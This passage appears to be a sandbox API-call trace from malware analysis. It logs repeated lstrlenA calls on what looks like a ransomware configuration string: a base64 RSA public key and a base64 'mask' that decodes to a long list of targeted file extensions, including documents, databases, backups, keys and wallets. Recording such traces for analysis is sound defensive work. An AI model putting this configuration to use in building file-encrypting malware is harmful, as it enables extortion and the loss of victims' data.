C5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhs